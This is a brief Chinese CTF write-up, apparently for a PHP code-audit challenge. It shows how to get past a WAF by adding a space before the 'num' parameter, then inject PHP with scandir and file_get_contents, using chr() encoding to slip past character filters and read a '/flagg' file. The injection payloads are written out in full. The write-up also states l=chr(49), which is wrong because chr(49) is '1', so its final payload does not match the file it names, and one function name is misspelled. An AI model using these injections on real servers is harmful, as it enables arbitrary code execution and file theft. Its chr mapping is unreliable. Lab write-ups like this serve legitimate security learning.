打开题目,查看源码,发现有PHP文件,打开发现
这是一道审计代码传参题;需要构造num;
然而num不允许传字母进去,会报错
这就为什么会有WAF的知识呢?
不懂;
然后WAF的绕过,在num前加空格就可以了;这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
然后知识点2;
print_r()函数:print_r() 函数用于打印变量
scandir("/")扫描根目录下的文件;
scandir()列出 参数目录 中的文件和目录,也就是找出flag目录在哪
构造
? num=print_r(scandir("/"))
"/"是被过滤了的;那就用ASCII码来代替:chr(47)就是“/”
发现有flagg目录:
原本构造 ? num=print_r(file_get_conntents("/flagg"))就可以打开文件,但是有过滤规则,就继续使用chr绕过;
? num=print_r(file_get_contents('/flagg'));
这里/=chr(47),f=chr(102),l=chr(49),a=chr(97),g=chr(103),g=chr(103)来进行绕过
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));